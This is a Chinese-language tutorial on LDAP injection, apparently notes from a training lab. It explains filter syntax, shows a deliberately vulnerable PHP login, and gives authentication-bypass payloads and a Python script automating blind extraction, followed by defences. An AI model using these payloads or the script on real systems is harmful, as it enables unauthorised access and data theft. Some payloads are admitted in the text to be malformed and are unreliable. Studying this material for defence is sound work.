LDAP注入全攻略：从目录遍历到完全控制

LDAP 基础概念

轻量级目录访问协议 (Lightweight Directory Access Protocol, LDAP) 是一种开放的、跨平台的、基于 TCP/IP 的协议，用于访问和维护分布式目录信息服务。目录服务就像一个特殊的数据库，优化用于读取、浏览和搜索，主要存储有关用户、组、设备、权限等信息。

• 用途: LDAP 广泛用于：
  • 集中式认证与授权: 许多 Web 应用、网络服务和操作系统使用 LDAP 作为后端来验证用户身份和确定访问权限。
  • 目录信息管理: 存储和检索组织结构、联系人信息、资源配置等。
  • 单点登录 (SSO): 作为实现 SSO 解决方案的基础。
• 常见实现:
  • Microsoft Active Directory (AD): Windows 域环境的核心组件，使用 LDAP（以及 Kerberos 等其他协议）进行目录访问和管理。
  • OpenLDAP: 最流行的开源 LDAP 服务器实现，广泛应用于 Linux/Unix 环境。
  • 其他如 389 Directory Server, Apache Directory Server 等。

LDAP 结构与术语

LDAP 目录信息以层次化的树状结构组织，类似于文件系统的目录结构。

1. 条目 (Entry): 目录中的基本信息单元，代表一个独立的对象（如一个用户、一个组、一台打印机）。每个条目都有一个唯一的标识符。
2. 对象类 (Object Class): 定义了条目可以或必须包含哪些属性，以及条目的类型（如 inetOrgPerson, groupOfNames, organizationalUnit）。每个条目都属于一个或多个对象类。
3. 属性 (Attribute): 描述条目特征的键值对。每个属性有一个类型（如 cn, sn, mail, uid, userPassword）和一个或多个值。
   • 示例属性: cn=John Doe, mail=john@example.com, uid=jdoe
4. 区分名称 (Distinguished Name, DN): 目录中每个条目的唯一全局标识符。它是一个从根节点到该条目的完整路径，由一系列 RDN 组成，用逗号分隔。
   • 示例 DN: uid=jdoe,ou=People,dc=example,dc=com
5. 相对区分名称 (Relative Distinguished Name, RDN): DN 中的一个组成部分，用于在特定层级内唯一标识一个条目。通常是条目的某个关键属性和值。
   • 示例 RDN: uid=jdoe (在上例 DN 中)
6. 目录信息树 (Directory Information Tree, DIT): LDAP 目录的整个层次结构。
   • 根节点/后缀 (Base DN/Suffix): DIT 的起始点，通常基于组织的域名。例如 dc=example,dc=com (dc 代表 Domain Component)。
   • 组织单位 (Organizational Unit, OU): 用于在 DIT 中组织条目的容器，类似于文件系统中的文件夹。例如 ou=People, ou=Groups。
7. LDIF (LDAP Data Interchange Format): 一种标准化的纯文本格式，用于表示 LDAP 条目和目录更新操作（添加、修改、删除）。常用于导入/导出数据或批量修改。

LDAP 搜索查询

与 LDAP 目录交互的主要方式是通过搜索查询来定位和检索信息。

1. 查询组件:

   • 基本 DN (Base DN): 指定搜索操作在 DIT 中的起始位置。
   • 范围 (Scope): 定义搜索的深度：
     • base: 只搜索基本 DN 指定的条目本身。
     • onelevel: 只搜索基本 DN 的直接子条目。
     • subtree: 搜索基本 DN 及其下的所有子孙条目（最常用）。
   • 过滤器 (Filter): 定义匹配条目必须满足的条件。这是 LDAP 注入的主要目标。
   • 属性列表 (Attributes): 指定需要从匹配条目中返回哪些属性。如果省略，通常返回所有用户属性。

2. 过滤器语法 (RFC 4515):

   • 基本格式: (attribute=value)
   • 常用操作符:
     • = (等于): (cn=John Doe)
     • * (通配符): 匹配任意字符序列。
       • (cn=J*) (以 J 开头)
       • (cn=*Doe) (以 Doe 结尾)
       • (cn=*o*n*) (包含 o 和 n)
       • (objectClass=*) (存在 objectClass 属性)
     • = (存在性): (mail=*) (检查是否存在 mail 属性)
     • >= (大于等于), <= (小于等于): (uidNumber>=1000)
     • ~= (约等于): 语音或模糊匹配，不常用。
     • ! (逻辑非/NOT): (!(objectClass=computer))
   • 逻辑组合操作符 (前缀表示法):
     • & (逻辑与/AND): (&(objectClass=user)(l=London)) (是用户且在伦敦)
     • | (逻辑或/OR): (|(cn=John Doe)(cn=Jane Doe)) (是 John 或 Jane)
     • 嵌套: 操作符可以嵌套使用，形成复杂的逻辑。
       (&(objectClass=inetOrgPerson)(|(mail=*@example.com)(mobile=*555*))) (是个人，且邮箱是 @example.com 或手机号包含 555)

3. 查询工具 (ldapsearch):

   • 一个常用的命令行工具（通常随 OpenLDAP 提供），用于执行 LDAP 搜索。
   • 示例命令:

     # 搜索 Base DN 为 "dc=ldap,dc=thm"，过滤条件为 ou=People 的所有条目
     # -x 表示简单认证 (匿名或无密码)
     # -H 指定 LDAP 服务器地址和端口 (默认 389)
     # -b 指定 Base DN
     ldapsearch -x -H ldap://10.10.146.89:389 -b "dc=ldap,dc=thm" "(ou=People)" cn mail uid
     # 上述命令还会请求只返回 cn, mail, uid 属性
     

   • LDAP 服务通常监听端口 389 (未加密或 StartTLS) 和 636 (LDAPS - 基于 SSL/TLS 的加密)。

LDAP 注入概述

LDAP 注入是一种安全漏洞，当 Web 应用程序或其他系统将用户提供的输入未经适当清理或转义就直接拼接到 LDAP 查询（特别是过滤器部分）中时发生。这使得攻击者能够修改 LDAP 查询的逻辑，可能导致：

• 认证绕过: 无需有效凭证即可登录系统。
• 信息泄露: 获取未经授权访问的目录信息（如用户列表、属性、密码哈希等）。
• 权限提升: 获取比预期更高的权限。
• 数据篡改: 修改目录中的数据（如果应用绑定的 LDAP 用户权限足够高）。
• 拒绝服务 (DoS): 通过构造资源密集型查询使 LDAP 服务器过载。

与 SQL 注入的相似性: 核心原理都是将用户数据误解为查询代码。不同之处在于目标语言（LDAP 过滤器语法 vs SQL）和利用的特定语法结构。

LDAP 注入利用

注入点识别

通常发生在处理用户登录、搜索目录、个人信息查询等功能的代码中。需要检查应用程序如何构建 LDAP 过滤器字符串，特别是如何处理来自用户表单、URL 参数或 API 请求的数据。

示例易受攻击代码 (PHP)

<?php
// !!! 易受攻击的代码示例 !!!
$username = $_POST['username']; // 用户输入
$password = $_POST['password']; // 用户输入

$ldap_server = "ldap://localhost";
$ldap_conn = ldap_connect($ldap_server);
// ... (省略连接和绑定代码，假设已用管理凭证绑定) ...

// 关键：直接将用户输入拼接到过滤器中，没有清理！
$filter = "(&(uid=$username)(userPassword=$password))";

$search_result = ldap_search($ldap_conn, "ou=People,dc=ldap,dc=thm", $filter);
$entries = ldap_get_entries($ldap_conn, $search_result);

if ($entries['count'] > 0) {
    echo "Login successful!";
} else {
    echo "Login failed.";
}
ldap_close($ldap_conn);
?>

认证绕过技术

1. 通配符注入 (Wildcard Injection):

   • 原理: 利用 * 通配符匹配任意值。
   • Payload:
     • username=*
     • password=*
   • 注入后的过滤器: (&(uid=*)(userPassword=*))
   • 效果: 这个过滤器会匹配任何同时具有 uid 和 userPassword 属性的条目，无论其值是什么。如果 LDAP 目录中存在任何用户，查询就会成功返回（通常是第一个匹配的用户），从而绕过认证。
   • 变种 (定位特定用户):
     • username=admin*
     • password=*
     • 过滤器: (&(uid=admin*)(userPassword=*))
     • 效果: 尝试以 admin 开头的用户名登录，无需知道密码。

2. 基于永真条件的注入 (Tautology-based Injection / Filter Manipulation):

   • 原理: 注入 LDAP 过滤器语法，构造一个逻辑上始终为真的条件，或者通过逻辑运算符改变原始查询的意图。
   • Payload (示例 1 - 利用空 AND):
     • username=*)(|(&)
     • password=pwd) (这里的 pwd) 用于闭合原始过滤器中 userPassword 部分的括号)
   • 注入后的过滤器: (&(uid=*)(|(&))(userPassword=pwd))) (这个过滤器结构有点问题，更好的 payload 见下)
   • Payload (示例 2 - 更常见的 OR 注入):
     • 假设原始过滤器是 (uid=$username) (仅验证用户名是否存在)
     • username=*)(uid=*)) (注入 *) 闭合 uid=，然后添加 (uid=*) 使其永真)
     • 过滤器: (uid=*)(uid=*)) (语法错误)
     • Payload (示例 3 - 针对 AND 结构的 OR 注入):
       • 原始过滤器: (&(uid=$username)(userPassword=$password))
       • username=admin)(|(uid=*) (注入 ) 闭合 uid=，然后开始 OR 条件)
       • password=*)(userPassword=*)) (注入 *) 闭合 userPassword=，然后添加永真条件并闭合 OR 和 AND)
       • 过滤器 (可能结果，取决于拼接逻辑): (&(uid=admin)(|(uid=*)(userPassword=*)))
       • 效果: 查找 uid=admin 或者 (uid=* 或者 userPassword=*)。由于 (uid=*) 几乎总是真，整个 OR 条件为真，导致无论密码是否正确，只要 uid=admin 存在，查询就可能成功。
   • Payload (示例 4 - 利用 * 结合逻辑运算符绕过密码):
     • username=admin*) L_PAREN | R_PAREN (&) (这里的 L_PAREN R_PAREN 代表注入的括号)
     • password=*)
     • 注入后过滤器: (&(uid=admin*)(|(&(userPassword=*))))
     • 效果: 查找 uid 以 admin 开头，并且 ((&) 这个空 AND 条件为真，或者 userPassword=* 存在性检查为真)。由于空 AND 永真，整个 OR 条件永真，从而绕过密码检查。

LDAP 盲注 (Blind LDAP Injection)

• 场景: 当应用程序执行了注入的 LDAP 查询，但不直接显示查询结果或详细错误信息时。攻击者只能通过观察应用程序的间接反馈（如通用错误消息、响应时间差异、页面行为变化）来推断信息。

• 技术:

  • 基于布尔的盲注 (Boolean-based): 构造使 LDAP 过滤器条件为真或假的注入。观察应用程序的响应（例如，“用户存在” vs “用户不存在”，“登录成功” vs “密码错误”）。
    • 示例 (利用前述易受攻击代码的盲注场景): 假设代码在用户存在但密码错误时返回 “Something is wrong in your password.”，而在用户不存在时返回 “Login failed.”。
    • 目标: 猜测某个用户的属性，比如 admin 用户的邮箱首字母。
    • Payload (猜测首字母是否为 ‘a’):
      • username=admin)(mail=a*
      • password=*)
      • 注入后过滤器: (&(uid=admin)(mail=a*)(userPassword=*)) (假设拼接逻辑如此)
      • 观察: 如果返回 “Something is wrong…”，说明 admin 用户存在且其 mail 属性以 ‘a’ 开头。如果返回 “Login failed.”，说明不满足此条件。
      • 迭代: 逐个字符猜测，类似于 SQL 盲注。
  • 基于时间的盲注 (Time-based): 如果 LDAP 服务器或查询本身支持导致延迟的操作（这在标准 LDAP 中不常见，不像 SQL 的 sleep()），或者可以通过构造非常复杂的、消耗资源的查询来引发延迟，那么可以通过测量响应时间来判断条件真假。

• 自动化盲注 (Python 示例):

  • 脚本通过发送一系列精心构造的 POST 请求，每次猜测一个字符。
  • 它检查响应页面中是否存在特定文本（如 “Something is wrong…” 或 “Welcome…”) 来判断猜测是否正确。
  • 如果猜测正确，将该字符添加到已知前缀 (successful_chars)，并继续猜测下一个字符。
  • 直到无法找到新的正确字符为止。

import requests
from bs4 import BeautifulSoup
import string
import time
import urllib.parse

# 目标 URL
url = 'http://<TARGET_IP>/blind.php' # 替换为实际 URL

# 猜测用的字符集
# char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation # 可以根据需要调整
char_set = string.printable.strip() # 更全的字符集，去除空白符

# 初始化已知的前缀
successful_chars = ''

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

print(f"Starting blind LDAP injection on {url}")
print(f"Using char set: {char_set}")

while True:
    found_char_in_iteration = False
    for char_to_guess in char_set:
        # 构造注入 payload，尝试猜测下一个字符
        # 假设目标是猜测 uid=admin 的某个属性值
        # 注意：payload 结构需要根据实际注入点和目标调整
        # 这里假设注入 username，利用 `*` 和 `(` `)` `&` `|` 构造布尔条件
        # payload = f"admin*)(attribute={successful_chars}{char_to_guess}*" # 示例：猜测 attribute
        # 为了匹配笔记中的例子，我们尝试猜测存在的用户名
        payload_username_raw = f"{successful_chars}{char_to_guess}*)(|(&" # 原始 payload
        payload_password_raw = "pwd)"

        # URL 编码 payload
        payload_username_encoded = urllib.parse.quote(payload_username_raw)
        payload_password_encoded = urllib.parse.quote(payload_password_raw)

        data = f'username={payload_username_encoded}&password={payload_password_encoded}'

        try:
            response = requests.post(url, data=data, headers=headers, timeout=10) # 设置超时
            response.raise_for_status() # 检查 HTTP 错误

            # 解析 HTML 响应
            soup = BeautifulSoup(response.content, 'html.parser')

            # *** 关键：定义成功的标志 ***
            # 根据实际应用返回的“真”条件下的特定文本或元素来判断
            # 例如，笔记中提到 "Something is wrong in your password." 表示用户存在但密码错误
            # 我们以此作为“真”的标志
            success_indicators = soup.find_all(string=lambda text: "Something is wrong in your password." in text)
            # 或者可能是 "Welcome, ..."
            # success_indicators = soup.find_all('p', style='color: green;')

            if success_indicators:
                successful_chars += char_to_guess
                print(f"[+] Found character: '{char_to_guess}'. Current string: {successful_chars}")
                found_char_in_iteration = True
                # time.sleep(0.1) # 可选：稍微延迟避免过快请求
                break # 找到当前位置的字符，跳出内层循环，猜测下一位

        except requests.exceptions.RequestException as e:
            print(f"[-] Request error for char '{char_to_guess}': {e}")
            # 根据情况决定是否继续或停止
            # time.sleep(1) # 出错时等待

    if not found_char_in_iteration:
        print(f"\n[*] No more characters found. Final result: {successful_chars}")
        break # 外层循环结束

print("[*] Blind LDAP injection attempt finished.")

防御措施

防御 LDAP 注入的关键在于严格处理所有用户输入，并遵循安全编码实践。

1. 输入验证与清理 (Input Validation and Sanitization):

   • 类型检查: 确保输入符合预期的数据类型。
   • 白名单验证: 只允许输入包含在预定义安全字符集中的字符。拒绝或转义任何可能用于构造 LDAP 过滤器的特殊字符，如 (, ), *, \, &, |, !, =, <, >, ~。
   • 长度限制: 限制输入长度，防止异常输入。
   • 使用框架/库提供的清理函数: 许多 Web 框架或 LDAP 库提供了用于安全处理 LDAP 输入的函数。

2. 使用安全的 LDAP API 或转义:

   • 参数化查询 (如果库支持): 类似于 SQL 的 Prepared Statements，一些现代 LDAP 库可能提供参数化接口，将用户输入作为数据传递，而不是直接拼接到过滤器字符串中。这是最理想的方式，但并非所有库都支持。
   • LDAP 过滤器转义: 对所有插入 LDAP 过滤器的用户输入执行专门的 LDAP 转义。需要转义的字符至少包括 *, (, ), \, NUL (\00)。转义规则是用反斜杠 \ 加上字符的两位十六进制 ASCII 值（例如 * 转义为 \2a）。许多语言的 LDAP 库提供了执行此操作的函数（如 PHP 的 ldap_escape() - 需要注意其模式参数）。

3. 最小权限原则:

   • 应用程序绑定（连接）到 LDAP 服务器时使用的账户，应只拥有执行其业务逻辑所必需的最低权限。
   • 例如，如果应用只需要验证用户凭证，则绑定用户可能只需要对用户条目的特定属性（如 userPassword）有比较权限，而不需要读取其他敏感属性或修改目录。
   • 避免使用 LDAP 管理员账户进行常规的应用绑定。

4. 避免暴露过多的错误信息:

   • 不要在生产环境中向用户显示详细的 LDAP 错误消息。这些信息可能帮助攻击者了解目录结构或确认注入是否成功。记录详细错误到服务器端日志，向用户返回通用错误提示。

5. Web 应用防火墙 (WAF):

   • 部署 WAF 可以帮助检测和阻止一些常见的 LDAP 注入攻击模式。但 WAF 不应作为唯一的防御措施。

6. 安全编码实践:

   • 对处理用户输入并与 LDAP 交互的所有代码进行仔细的安全审查。
   • 使用成熟、维护良好的 LDAP 库和 Web 框架。